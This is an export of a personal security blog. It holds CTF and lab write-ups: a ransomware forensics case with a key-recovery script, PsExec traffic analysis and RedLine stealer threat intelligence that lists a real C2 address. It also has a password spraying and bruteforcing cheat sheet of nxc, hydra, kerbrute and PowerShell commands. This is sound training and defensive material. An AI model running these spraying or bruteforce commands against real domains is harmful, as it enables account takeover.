[{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/topics/data-recovery/","section":"Topics","summary":"","title":"Data Recovery","type":"topics"},{"content":" Description # 01 // MISSION\nStaff arrived to find their internal photo gallery unusable and its images unreadable. The Linux server’s disk has been preserved, but the cause is still unclear. Reconstruct how the application was compromised, analyze the executable left behind, and find a way to recover the affected images.\nDescribe the challenge and what the analyst is trying to determine.\n02 // OBJECTIVES\nEstablish how the gallery application was compromised. Identify the executable responsible for the affected images. Analyze its behavior and determine how the files were encrypted. Recover the images and retrieve the inspection checklist. Check the challenge here.\nSolution # In this lab we are provided access to an analyst Linux machine that contains the tools that we need to analyze the disk. We can find the file at ~/Desktop/artifacts/disk.img.\nBefore looking for answers to the questions, let\u0026rsquo;s see how we can explore the disk image. I am not a specialist in forensics, so let me know if there is a more professional way of doing this. 😅\nFirst I checked the partition layout to explore the filesystems on the disk image with mmls:\nThen I tried to mount each partition to the /mnt/ev mounting point. I succeeded with slot 008:\nsudo mkdir /mnt/ev sudo mount -o ro,loop,noload,offset=$((2099200*512)) ~/Desktop/artifacts/disk.img /mnt/ev Now we have the whole filesystem of the compromised server in /mnt/ev.\nQuestion 1 # Which application endpoint was abused to execute commands on the server?\nNow that we can hop in the filesystem, we can start looking for evidence. Two things come into my mind when starting these kinds of challenges: finding the server source code, and finding the server logs.\nIn Linux we can usually find logs in /var/log, and for this case the nginx folder had the files we are looking for (starting with gallery-*). We can take a look to see if there are any traces left:\nWe can see someone performed some actions on the web server. It would be useful to read the code now and see what happened. I found the code at /mnt/ev/srv/gallery/app/gallery.py.\nI found this endpoint that appears to be creating a new thread of execution using a job provided by a user:\nThis endpoint seems to be the answer to this question.\nQuestion 2 # What was the full path of the executable responsible for encrypting the images?\nIn the entrypoint Python code (see screenshot above) we can also see that the payload is saved to the database in the exports table. We can find the database at /mnt/ev/srv/gallery/data/ and we can inspect it using sqlite3:\nThe payload exploits a command injection vulnerability to download malware on the system, and there we can see the exact path of the executable.\nQuestion 3 # What is the SHA-256 hash of that executable?\nNow that we have the location of the executable we can extract the hash using the sha256sum Linux utility:\nQuestion 4 # Which encryption algorithm and mode protected the images?\nTo find out the encryption algorithm we need to study the malware file. First let\u0026rsquo;s check what kind of file it is:\nWe have a 64-bit elf file. We can use ghidra to decompile and analyze it.\nAfter playing around I found that the function FUN_00101574() is probably the function used to encrypt a single file. There we can find the objects used to encrypt and also the algorithm (note that the format of the flag is a bit different: ***-***-***):\nQuestion 5 # What initial seed value was used to generate the encryption key?\nNow we need to go into the depths of this binary and see how the encryption was made. There are two functions that contain the majority of the logic (FUN_00101574() which is responsible for encrypting individual files, and FUN_001019fe() where the broad logic of encrypting all files happens), and there are two more specialized functions that we will discuss later.\nGeneral Malware Logic # Usually I prefer to go directly to the juicy part of the code, understand the most important behaviour and then figure out the details. Let\u0026rsquo;s start with FUN_001019fe(), here is the most interesting part of the code:\nWe can instantly observe that FUN_00101574() is called for each of the .jpg files, which means that every file is encrypted there (we already knew this from the previous questions). We can also see that in this function the ransomware notice is dropped in the RESTORE.txt file.\nLet\u0026rsquo;s take a look at FUN_00101574()\u0026rsquo;s parameters, especially the third one:\nWe can see that the third parameter is used in EVP_EncryptInit_ex() which is a function from the OpenSSL C library. We can check the documentation (link here) and see that the parameter is used as the key for encryption.\nNow let\u0026rsquo;s go back to FUN_001019fe() and see how this key is generated.\nKey Generation # The key appears to be generated in this snippet of the function:\nIn order to understand what is happening there we need to explore two other functions. Let\u0026rsquo;s start with FUN_00101509().\nI gave this code to an LLM to see if it can spot clues, and I found that this is actually a pseudo-random number generator called SplitMix64. This means that the malware uses a seed to create a random number that is passed further to FUN_00101554(), let\u0026rsquo;s explore it now:\nThis function seems to perform some buffer operations. I made an LLM translate this snippet into something more readable and I got this equivalent C code:\n#include \u0026lt;stdint.h\u0026gt; void write_uint64_le(uint8_t *buffer, uint64_t value) { for (int i = 0; i \u0026lt; 8; i++) { buffer[i] = (uint8_t)(value \u0026gt;\u0026gt; (i * 8)); } } It just looks like a function that is copying 8 bytes at a time into the buffer (in little endian).\nAlright now we have the full picture: the malware is using a seed to generate a random value using SplitMix64, that random value is our encryption / decryption key. The final piece is to see where the seed is coming from.\nLet\u0026rsquo;s check another snippet:\nThe local_1f8 object is a timestamp of the current time when the executable is running, and the seed is computed based on that timestamp.\nBuilding the solver # Here is our solution so far:\nFind the time when the malware executed: a time interval. Go through all the timestamps in the interval and compute the seeds. For each seed generate the key and try to decrypt one file, since the encryption was done with AES-GCM, the decryption should fail (because of the authentication step) if the key is incorrect. In the end one key should be valid. Now we just need to figure out how to decrypt an encrypted file.\nTo find out the encryption process and how the encrypted files are stored we can go deeper into FUN_00101574(). In this snippet we can see some interesting details:\nThe double allocation is interesting: the first one pointing to the in variable is the same size as the target file for encryption, which suggests that this might be the place where the ciphertext will be stored. And the other allocation (pointing to in_00) might suggest some additional data that can be stored about the file (like the IV, tag, etc.).\nHere we can see how the two allocated spaces are used for encryption:\nFiguring this out would take a lot of time for a human, so I used an LLM to help me understand faster and more precisely how the files are stored. It generated this very useful file layout:\nAlright now we have all the ingredients to build a solver Python script and try to crack the encryption key. We will use the timestamps provided in the database (see screenshot from Question 2).\nSolver:\nimport struct from datetime import datetime, timezone from pathlib import Path from cryptography.hazmat.primitives.ciphers.aead import AESGCM MASK64 = 0xFFFFFFFFFFFFFFFF GAMMA = 0x9e3779b97f4a7c15 MUL1 = 0xbf58476d1ce4e5b9 MUL2 = 0x94d049bb133111eb START = \u0026#34;2026-10-20T05:36:54.547+00:00\u0026#34; END = \u0026#34;2026-10-20T05:36:54.753+00:00\u0026#34; def timestamp_to_ms(timestamp): dt = datetime.fromisoformat(timestamp) epoch = datetime(1970, 1, 1, tzinfo=timezone.utc) delta = dt - epoch return ( delta.days * 86400000 + delta.seconds * 1000 + delta.microseconds // 1000 ) def splitmix64(state): state = (state + GAMMA) \u0026amp; MASK64 z = state z = ((z ^ (z \u0026gt;\u0026gt; 30)) * MUL1) \u0026amp; MASK64 z = ((z ^ (z \u0026gt;\u0026gt; 27)) * MUL2) \u0026amp; MASK64 return state, z ^ (z \u0026gt;\u0026gt; 31) def generate_key(seed): state = seed key = bytearray() for _ in range(4): state, value = splitmix64(state) key.extend(value.to_bytes(8, \u0026#34;little\u0026#34;)) return bytes(key) def recover_key(filepath): data = Path(filepath).read_bytes() if len(data) \u0026lt; 48 or data[:5] != b\u0026#34;GPH1\\x01\u0026#34;: print(\u0026#34;[-] Invalid encrypted file\u0026#34;) return original_size = struct.unpack_from(\u0026#34;\u0026lt;Q\u0026#34;, data, 8)[0] nonce = data[16:28] tag = data[28:44] aad = data[:28] ciphertext = data[48:] if len(ciphertext) != original_size: print(\u0026#34;[-] Invalid ciphertext size\u0026#34;) return encrypted_data = ciphertext + tag start_ms = timestamp_to_ms(START) end_ms = timestamp_to_ms(END) print(f\u0026#34;[*] Testing {end_ms - start_ms + 1} seeds...\u0026#34;) for seed in range(start_ms, end_ms + 1): key = generate_key(seed) try: AESGCM(key).decrypt( nonce, encrypted_data, aad ) print(\u0026#34;\\n[+] KEY FOUND!\u0026#34;) print(f\u0026#34;Seed: {seed}\u0026#34;) print(f\u0026#34;Key: {key.hex()}\u0026#34;) print(f\u0026#34;Nonce: {nonce.hex()}\u0026#34;) return seed, key except Exception: continue print(\u0026#34;[-] No matching key found\u0026#34;) return None if __name__ == \u0026#34;__main__\u0026#34;: import sys if len(sys.argv) != 2: print(f\u0026#34;Usage: python3 {sys.argv[0]} file.locked\u0026#34;) sys.exit(1) recover_key(sys.argv[1]) This script tries every key that could have been generated in the interval found in the database. A key is found when the decryption is successful. Let\u0026rsquo;s run it against one of the encrypted files.\nAnd we found the key!\nQuestion 6 # What flag appears in the recovered inspection checklist?\nWe\u0026rsquo;ve done the hard work, now we only need a Python script to decrypt the locked files.\nDecryption script:\nimport argparse import struct from pathlib import Path from cryptography.hazmat.primitives.ciphers.aead import AESGCM KEY = bytes.fromhex( \u0026#34;[REDACTED]\u0026#34; ) def decrypt_file(filepath, aes): data = filepath.read_bytes() # Validate minimum size and file header if len(data) \u0026lt; 48 or data[:5] != b\u0026#34;GPH1\\x01\u0026#34;: raise ValueError(\u0026#34;Invalid encrypted file format\u0026#34;) # Extract original file size original_size = struct.unpack_from(\u0026#34;\u0026lt;Q\u0026#34;, data, 8)[0] # Extract AES-GCM parameters aad = data[:28] nonce = data[16:28] tag = data[28:44] ciphertext = data[48:] if len(ciphertext) != original_size: raise ValueError(\u0026#34;Ciphertext size mismatch\u0026#34;) # Decrypt and authenticate plaintext = aes.decrypt( nonce, ciphertext + tag, aad ) # Output filename without .locked output_path = filepath.with_name( filepath.name[:-len(\u0026#34;.locked\u0026#34;)] ) if output_path.exists(): raise FileExistsError(f\u0026#34;Output already exists: {output_path}\u0026#34;) output_path.write_bytes(plaintext) return output_path def main(): parser = argparse.ArgumentParser( description=\u0026#34;Recover files encrypted with AES-GCM\u0026#34; ) parser.add_argument( \u0026#34;folder\u0026#34;, type=Path, help=\u0026#34;Folder containing .locked files\u0026#34; ) args = parser.parse_args() folder = args.folder if not folder.is_dir(): parser.error(\u0026#34;Specified path is not a directory\u0026#34;) aes = AESGCM(KEY) files = sorted(folder.glob(\u0026#34;*.locked\u0026#34;)) if not files: print(\u0026#34;[-] No .locked files found\u0026#34;) return print(f\u0026#34;[*] Found {len(files)} encrypted files\\n\u0026#34;) recovered = 0 failed = 0 for filepath in files: print(f\u0026#34;[*] Processing: {filepath.name}\u0026#34;) try: output = decrypt_file(filepath, aes) print(f\u0026#34;[+] Recovered: {output.name}\\n\u0026#34;) recovered += 1 except Exception as e: print(f\u0026#34;[-] Failed: {e}\\n\u0026#34;) failed += 1 print(\u0026#34;=\u0026#34; * 50) print(f\u0026#34;Recovery complete\u0026#34;) print(f\u0026#34;Successfully recovered: {recovered}\u0026#34;) print(f\u0026#34;Failed: {failed}\u0026#34;) print(\u0026#34;=\u0026#34; * 50) if __name__ == \u0026#34;__main__\u0026#34;: main() Let\u0026rsquo;s copy our files and run the script:\nGreat, it worked! The flag is located in yard_0152.jpg:\nConclusion # Very interesting challenge! I learned that LLMs can be very useful in reverse engineering, they are very good at understanding the abstract decompiled Ghidra code, and they are so helpful when building Python scripts!\nReference # Splitmix64 OpenSSL Documentation - EVP_EncryptInit ","date":"19 November 2026","externalUrl":null,"permalink":"/writeups/tryhackme/dead_endpoint/","section":"Writeups","summary":"An incident happened, malware dropped, files encrypted… You are asked to figure out what happened and retrieve the encrypted sensitive data.","title":"Dead Endpoint","type":"writeups"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/difficulty/","section":"Difficulty","summary":"","title":"Difficulty","type":"difficulty"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/tools/ghidra/","section":"Tools","summary":"","title":"Ghidra","type":"tools"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/difficulty/hard/","section":"Difficulty","summary":"","title":"Hard","type":"difficulty"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/topics/linux-forensics/","section":"Topics","summary":"","title":"Linux Forensics","type":"topics"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/topics/malware-analysis/","section":"Topics","summary":"","title":"Malware Analysis","type":"topics"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/tools/mmls/","section":"Tools","summary":"","title":"Mmls","type":"tools"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/tools/python/","section":"Tools","summary":"","title":"Python","type":"tools"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/tools/sqlite3/","section":"Tools","summary":"","title":"Sqlite3","type":"tools"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/tools/","section":"Tools","summary":"","title":"Tools","type":"tools"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/topics/","section":"Topics","summary":"","title":"Topics","type":"topics"},{"content":"Try Hack Me is a great place to start learning about cybersecurity. It provides a lot of beginner friendly free resources and a very innovative approach to hands-on practice. (Website, My Profile)\n","date":"19 November 2026","externalUrl":null,"permalink":"/writeups/tryhackme/","section":"Writeups","summary":"Beginner friendly playground to learn, up-skill and get certified Cybersecurity.","title":"Try Hack Me","type":"writeups"},{"content":"","date":"19 November 2026","externalUrl":null,"permalink":"/","section":"Vlad Șteopoaie","summary":"","title":"Vlad Șteopoaie","type":"page"},{"content":"I\u0026rsquo;ve been learning Cyber Security by doing CTFs for over 4 years now, and I don\u0026rsquo;t see this stopping anytime soon. Here you can find solutions to some of my latest solves.\n","date":"19 November 2026","externalUrl":null,"permalink":"/writeups/","section":"Writeups","summary":"I’ve been learning Cyber Security by doing CTFs for over 4 years now, and I don’t see this stopping anytime soon. Here you can find solutions to some of my latest solves.\n","title":"Writeups","type":"writeups"},{"content":"As Linkedin says: \u0026ldquo;CyberDefenders is a leading cyber defense platform helping organizations build and benchmark world-class SOC teams.\u0026rdquo; (Source, Website)\nI am using this platform to learn and refine by blue team skills. You can check my profile here.\n","date":"11 November 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/","section":"Writeups","summary":"Blue team traning platform designed to improve SOC performance.","title":"CyberDefenders","type":"writeups"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/difficulty/easy/","section":"Difficulty","summary":"","title":"Easy","type":"difficulty"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/tools/malpedia/","section":"Tools","summary":"","title":"Malpedia","type":"tools"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/tools/malwarebazaar/","section":"Tools","summary":"","title":"MalwareBazaar","type":"tools"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/topics/network-forensics/","section":"Topics","summary":"","title":"Network Forensics","type":"topics"},{"content":" Description # An alert from the Intrusion Detection System (IDS) flagged suspicious lateral movement activity involving PsExec. This indicates potential unauthorized access and movement across the network. As a SOC Analyst, your task is to investigate the provided PCAP file to trace the attacker’s activities. Identify their entry point, the machines targeted, the extent of the breach, and any critical indicators that reveal their tactics and objectives within the compromised environment.\nCheck the challenge here.\nSolution # We get a zip file (143-psexec-hunt.zip) that gives us a .pcapng file to analyze for this challenge (psexec-hunt.pcapng).\nQ1: To effectively trace the attacker\u0026rsquo;s activities within our network, can you identify the IP address of the machine from which the attacker initially gained access?\nWe can open the file in wireshark and start analyzing it. The challenge mentions PsExec a utility that abuses SMB to execute commands on a Windows machine. So we can check for SMB traffick in the file and see where the PsExec file was uploaded:\nThe traffic is pretty easy to find by just scrolling through the file. There we can assume that the source address that uploads the file is our attacker.\nFlag: 10.0.0.130\nQ2: To fully understand the extent of the breach, can you determine the hostname of the machine to which the attacker first pivoted?\nTo get information about the machine targeted by the attacker, we can try to dig into the SMB packets and try to get the hostname from them. The host name is tagged in a packet\u0026rsquo;s property as Target Name.\nFlag: SALES-PC\nQ3: Knowing the username of the account the attacker used for authentication will provide insight into the extent of the breach. What username did the attacker use to authenticate?\nIn the Session Setup Request packet we can find details about the authentication process. In the NTLM Secure Service Provider section of the packet we can see the username used to establish the connection.\nFlag: ssales\nQ4: After determining how the attacker moved through the network, we need to understand what they did on the target machine. What is the name of the service executable the attacker installed on the target?\nWe can also see in the previous screenshots that the attacker made a Create Request File for the file PSEXESVC.EXE which is the executable used to compromise the machine.\nFlag: psexesvc.exe\nQ5: Understanding how the attacker installed the service can help identify other systems affected by the same lateral movement technique. Which network share did PsExec use to install the service on the target machine?\nThis challenge can easily be solved with the general knowledge that PsExec uses the Admin$ share to upload executables on the target machine.\nBut we can also see in the screenshots above that the attacker made a Tree Connect Request Tree to the Admin$ share before making the Create Request File.\nFlag: Admin$\nQ6: Which network share did PsExec use to communicate between the two machines?\nPsExec communicates over named pipes stored in the IPC$ share. In our caputre the pipes are named something like this: PSEXESVC-HR-PC-7980-stidin, and other names as well. An we can see in the packet capture that these files are requested from IPC$.\nFlag: IPC$\nQ7: What is the hostname of the second machine the attacker targeted while moving through the network?\nWe found the first machine by checking the Session Setup Response SMB packet that contain the computer hostname. We can filter for those packets and the SMB protocol in wireshark and see which packets do not have the same hostname.\nFlag: MARKETING-PC\n","date":"11 November 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/psexec_hunt/","section":"Writeups","summary":"Analyze SMB traffic in a PCAP file using Wireshark to identify PsExec lateral movement, compromised systems, user credentials, and administrative shares.","title":"PsExec Hunt","type":"writeups"},{"content":" Description # You are part of the Threat Intelligence team in the SOC (Security Operations Center). An executable file has been discovered on a colleague\u0026rsquo;s computer, and it\u0026rsquo;s suspected to be linked to a Command and Control (C2) server, indicating a potential malware infection.\nYour task is to investigate this executable by analyzing its hash. The goal is to gather and analyze data beneficial to other SOC members, including the Incident Response team, to respond to this suspicious behavior efficiently.\nCheck the challenge here.\nSolution # We obtained an archive named 184-RedStealer.zip, which contains a file called FileHash.txt with the following contents:\nFile Hash (SHA-256): 248FCC901AFF4E4B4C48C91E4D78A939BF681C9A1BC24ADDC3551B32768F907B Use this hash on online threat intelligence platforms (for example, VirusTotal or Hybrid Analysis) to complete the lab analysis. Q1: Categorizing malware enables a quicker and clearer understanding of its unique behaviors and attack vectors. What category has Microsoft identified for that malware in VirusTotal?\nIn VirusTotal, files and their hashes are saved for future reference, so we can search if our file hash is in their database.\nThen we can search for Microsoft on the file page to see the verdict:\nMicrosoft identified this file as Trojan:Win32/Redline!rfn.\nFlag: Trojan\nQ2: Clearly identifying the name of the malware file improves communication among the SOC team. What is the file name associated with this malware?\nNote: Don\u0026rsquo;t include the file extension in the name.\nTo answer this, we can navigate to the details of the analyzed file. On the Details page, the Names section contains the different names associated with the file hash.\nFlag: Wextract\nQ3: Knowing the exact timestamp of when the malware was first observed can help prioritize response actions. Newly detected malware may require urgent containment and eradication compared to older, well-documented threats. What is the UTC timestamp of the malware\u0026rsquo;s first submission to VirusTotal?\nThe timestamps associated with the file can be viewed on the Details page in the History section. The screenshot above already shows the answer.\nFlag: 2023-10-06 04:41\nQ4: Understanding the techniques used by malware helps in strategic security planning. What is the MITRE ATT\u0026amp;CK technique ID for the malware collecting data from the local system prior to exfiltration?\nWe can inspect the malware behavior on the Behavior page. There, in the MITRE ATT\u0026amp;CK Tactics and Techniques section, we can see all the relevant MITRE ATT\u0026amp;CK techniques linked to the malware file.\nWe find the answer in the Collection category:\nFlag: T1005\nQ5: Following execution, the malware performs a connectivity check by resolving a well-known social-media domain before contacting its C2. Which single domain does it resolve for this check?\nFurther down on the Behavior page, we can find the Network Communication section, which shows the registered network activity of the malware while running in a sandbox.\nWe can inspect the domains the malware is trying to resolve in DNS resolutions:\nFlag: facebook.com\nQ6: Once the malicious IP addresses are identified, network security devices such as firewalls can be configured to block traffic to and from those addresses. Can you provide the IP address and destination port the malware communicates with?\nScrolling down to IP Traffic, we can see all the addresses and ports used when the malware communicated with the C2 infrastructure:\nFlag: 77.91.124.55:19071\nQ7: YARA rules are designed to identify specific malware patterns and behaviors. Using MalwareBazaar, what is the name of the YARA rule created by Varp0s that detects the identified malware?\nOn MalwareBazaar, we can search for the file using the query: sha256:248FCC901AFF4E4B4C48C91E4D78A939BF681C9A1BC24ADDC3551B32768F907B. This returns one match:\nWe can inspect the malware and go to the YARA section to find the rule defined by Varp0s:\nFlag: detect_Redline_Stealer\nQ8: Understanding which malware families are targeting the organization helps with future strategic security planning and prioritizing resources based on the threat. Can you provide the different malware aliases associated with the malicious IP address according to Malpedia?\nI could not find any information on Malpedia on the first pass, so I decided to search the malicious IP address using a search engine.\nI found a ThreatFox entry matching the IP. On that page, we can see the malware type: RedLine Stealer.\nWe can search for that name on Malpedia and check the results:\nFlag: RECORDSTEALER\nQ9: By identifying the malware\u0026rsquo;s imported DLLs, we can configure security tools to monitor for the loading or unusual usage of these specific DLLs. Can you provide the DLL utilized by the malware for privilege escalation?\nWe can inspect VirusTotal for the loaded DLLs. The information is located on the Details page in the Imports section:\nFlag: ADVAPI32.dll\nReferences # VirusTotal Analysis MalwareBazaar Analysis ThreatFox DB Entry Malpedia Results ","date":"11 November 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/red_stealer/","section":"Writeups","summary":"Analyze a suspicious executable using VirusTotal and MalwareBazaar to extract IOCs, identify C2 infrastructure, MITRE ATT\u0026CK techniques, and privilege escalation mechanisms.","title":"Red Stealer","type":"writeups"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/topics/threat-intelligence/","section":"Topics","summary":"","title":"Threat Intelligence","type":"topics"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/tools/virustotal/","section":"Tools","summary":"","title":"VirusTotal","type":"tools"},{"content":"","date":"11 November 2026","externalUrl":null,"permalink":"/tools/wireshark/","section":"Tools","summary":"","title":"Wireshark","type":"tools"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/topics/active-directory/","section":"Topics","summary":"","title":"Active Directory","type":"topics"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/enum4linux/","section":"Tools","summary":"","title":"Enum4linux","type":"tools"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/hydra/","section":"Tools","summary":"","title":"Hydra","type":"tools"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/kerbrute/","section":"Tools","summary":"","title":"Kerbrute","type":"tools"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/netexec/","section":"Tools","summary":"","title":"NetExec","type":"tools"},{"content":" Introduction # This post came as a result of me learning some Active Directory exploitation techniques. I thought it would be useful to centralize the knowledge that I gathered in one post for future reference.\nHere I will introduce the concept of password spraying and a bit of background, why is it such a useful technique, and, at the end, some practical techniques (feel free to skip to that part if you want). I\u0026rsquo;ll try to keep it short.\nBackground # I don\u0026rsquo;t think anyone can deny the importance of passwords. They are the keys to whatever it is you\u0026rsquo;re trying to protect in the digital environment, and having strong passwords is the difference between business as usual and a complete cyber disaster.\nBut passwords have a hidden weakness\u0026hellip; they are made by humans, and humans proved themselves to be very bad password generators. So bad, that we had to build mechanisms to force humans to create stronger passwords, periodically change them, and to make sure wrong attempts are punished. Welcome to Password Policies!\nBut before we take a look at password policies let\u0026rsquo;s talk about why strong passwords are so important.\nWhat is a Bruteforcing Attack? # A bruteforcing attack is a guessing attack in which an attacker possesses a large number of possible values (in our case passwords) and tries them against a system (in our case the login system) to obtain a desired result (in our case a successful login).\nBrute-Force Attack Flow (Image Generated by ChatGPT) If our passwords are weak, the probability of them being in one of the attacker\u0026rsquo;s password lists is very high, and it becomes only a matter of time until the attacker compromises our account.\nPassword Policies # Password policies were created as a response to the bruteforcing attacks. Think of them as rules / restrictions that define how good passwords should be created and processed by programs in order to build more robust authentication systems.\nHere is a list of \u0026ldquo;good to know\u0026rdquo; password policies from Active Directory:\nMinimum Password Length (MPL): defines the minimum length (in characters) of a password. Locked Account Duration (LAD): defines the cooldown until an account will be unlocked. Account Lockout Threshold (ALT): defines the number of allowed failed attempts before locking an account. There are other policies, but these three are the most important since they all make a bruteforcing attack impossible.\nMPL reduces the chance of our password being in an attacker\u0026rsquo;s password list, LAD and ALT render the attack impossible since it would take an attacker way too much time to guess passwords if the account keeps locking. And also, the attack becomes less stealthy since locking accounts is a suspicious behaviour.\nBut these restrictions are not enough to stop attackers from guessing passwords\u0026hellip;\nWhat is Password Spraying? # Password spraying is a technique where an attacker uses a list of valid users (account usernames) and tries one password at a time against each account. This way the attacker avoids locking one account and still gets a promising guessing chance.\nPassword Spraying Attack Flow (Image Generated by ChatGPT) The purpose of a Spraying attack is to check misconfigurations in Active Directory. An attacker would usually build a smaller list of highly likely (or even known) passwords and check if any account gets a match. It is certainly not as dangerous as a bruteforce attack, but it proved to be pretty effective.\nGetting Practical # I would like to get a bit practical and showcase the commands that are used to perform password spraying on real infrastructure, this section can serve as a cheatsheet and not an explanation of what each command does.\nYou will see environment variables in some of the commands, here is their meaning:\nexport TUSER=\u0026#39;john.smith\u0026#39; # account username (target user) export TPASS=\u0026#39;password123\u0026#39; # account password (target password) export DOMAIN=\u0026#39;corp.local\u0026#39; # Domain name export TARGET=\u0026#39;10.0.0.10\u0026#39; # Machine IP on the network Checking Password Policies # First it would be useful to check the password policy of the machine we are targeting or the entire domain. We can do that in multiple ways:\nLinux Windows # when authenticated nxc smb \u0026#34;$TARGET\u0026#34; -u \u0026#34;$TUSER\u0026#34; -p \u0026#34;$TPASS\u0026#34; --pass-pol nxc ldap \u0026#34;$TARGET\u0026#34; -u \u0026#34;$TUSER\u0026#34; -p \u0026#34;$TPASS\u0026#34; --pass-pol enum4linux-ng -P -w \u0026#34;$DOMAIN\u0026#34; -u \u0026#34;$TUSER\u0026#34; -p \u0026#34;$TPASS\u0026#34; \u0026#34;$TARGET\u0026#34; rpcclient -U \u0026#34;$TUSER%$TPASS\u0026#34; \u0026#34;$TARGET\u0026#34; -c \u0026#39;getdompwinfo\u0026#39; # when not authenticated (might not work, but worth trying) nxc smb \u0026#34;$TARGET\u0026#34; --pass-pol rpcclient -U \u0026#34;\u0026#34; \u0026#34;$TARGET\u0026#34; -N -c getdompwinfo # Powershell Get-ADDefaultDomainPasswordPolicy # CMD net accounts # Local accounts policy net accounts /domain # Domain accounts policy Bruteforcing # When there is no lockout threshold policy in the domain we can try bruteforcing account passwords. Here is how to do it:\nLinux # with one user nxc smb $TARGET -u $TUSER -p pass.txt --continue-on-success nxc ldap $TARGET -u $TUSER -p pass.txt --continue-on-success hydra -f -V -L users.txt -P pass.txt $TARGET smb # does not work for SMBv2/v3 # with a list of users nxc smb $TARGET -u users.txt -p pass.txt --continue-on-success nxc ldap $TARGET -u users.txt -p pass.txt --continue-on-success hydra -f -V -l $TUSER -P pass.txt $TARGET smb Spraying # If the lockout threshold policy is enabled we need to make sure that we are not locking the accounts we are trying to spray. Usually it\u0026rsquo;s best to run sprays with one password at a time.\nLinux Windows # with one password nxc smb $TARGET -u users.txt -p \u0026#39;Password123!\u0026#39; --continue-on-success nxc ldap $TARGET -u users.txt -p \u0026#39;Password123!\u0026#39; --continue-on-success kerbrute passwordspray -d $DOMAIN --dc $TARGET users.txt \u0026#39;Password123!\u0026#39; # with a list of passwords for each user # example: user1 -\u0026gt; password1, user2 -\u0026gt; password2, etc. nxc smb $TARGET -u users.txt -p passwords.txt --no-bruteforce --continue-on-success nxc ldap $TARGET -u users.txt -p passwords.txt --no-bruteforce --continue-on-success # see https://github.com/Greenwolf/Spray ./spray.sh -smb $TARGET users.txt passwords.txt \u0026lt;AttemptsPerLockout\u0026gt; \u0026lt;LockoutDuration\u0026gt; $DOMAIN # see https://github.com/dafthack/DomainPasswordSpray # and https://github.com/wavestone-cdt/Invoke-CleverSpray # with one password Invoke-DomainPasswordSpray -Password \u0026#39;Password123!\u0026#39; -UserList .\\users.txt Invoke-CleverSpray -Password \u0026#39;Password123!\u0026#39; -UsernamesFile .\\users.txt # with a password list Invoke-DomainPasswordSpray -PasswordList .\\passwords.txt -UserList .\\users.txt Invoke-CleverSpray -PasswordsFile .\\passwords.txt -UsernamesFile .\\users.txt Conclusion # Things can get a bit more complex when it comes to password attacks, surely there is more to say here, but I believe this is a good enough introduction. I might keep the cheatsheet here updated in case I find new and interesting ways to spray passwords. Hope you found it useful!\nReferences # Here is a list of resources that I used to create this post. It\u0026rsquo;s good rabbit-hole material. 😉\nPassword Spraying / Brute Force | HackTricks Password policy | The Hacker Recipes Password Spraying Outlook Web Access: Remote Shell | ired.team Password Spraying | NetExec Documentation Active Directory Exploitation Cheatsheet ","date":"9 November 2026","externalUrl":null,"permalink":"/posts/password_spraying/","section":"Posts","summary":"Introduction to Password Spraying, Passwod Bruteforcing, and Password Policies. The article explains why having strong passwords is important and it provides practical cheatsheet on how to perform these attacks.","title":"Password Spraying","type":"posts"},{"content":"I am writing about personal projects, experiences and things I find interesting. See my latest posts below.\n","date":"9 November 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"I am writing about personal projects, experiences and things I find interesting. See my latest posts below.\n","title":"Posts","type":"posts"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/powershell/","section":"Tools","summary":"","title":"PowerShell","type":"tools"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/rpcclient/","section":"Tools","summary":"","title":"Rpcclient","type":"tools"},{"content":"","date":"9 November 2026","externalUrl":null,"permalink":"/tools/spray.sh/","section":"Tools","summary":"","title":"Spray.sh","type":"tools"},{"content":"","date":"7 November 2026","externalUrl":null,"permalink":"/tools/bloodhound/","section":"Tools","summary":"","title":"Bloodhound","type":"tools"},{"content":"","date":"7 November 2026","externalUrl":null,"permalink":"/tools/exegol/","section":"Tools","summary":"","title":"Exegol","type":"tools"},{"content":" Description # You\u0026rsquo;re already in. The breach has been assumed, now it\u0026rsquo;s time to move forward. Navigate through a compromised Active Directory environment, move laterally through the domain, and escalate your way to full control. The question isn\u0026rsquo;t how you got in\u0026hellip; it\u0026rsquo;s how far you can go.\nUSER \u0026gt; ctf.local\\j.smith PASS \u0026gt; JSmith@IT2024 Check the challenge here.\nSolution # Setup: I used exegol free - v.3.1.14 to solve this challenge.\nBefore starting, I would like to initialize my shell with the information we have so far (the credentials will be updated depending on which user is needed for each task):\nexport TUSER=\u0026#39;j.smith\u0026#39; export TPASS=\u0026#39;JSmith@IT2024\u0026#39; export DOMAIN=\u0026#39;ctf.local\u0026#39; export TARGET=10.81.135.51 Enumeration # Let\u0026rsquo;s do an nmap scan to see the open services:\nnmap -sV -sC -p- $TARGET --privileged PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-04 08:59:51Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active 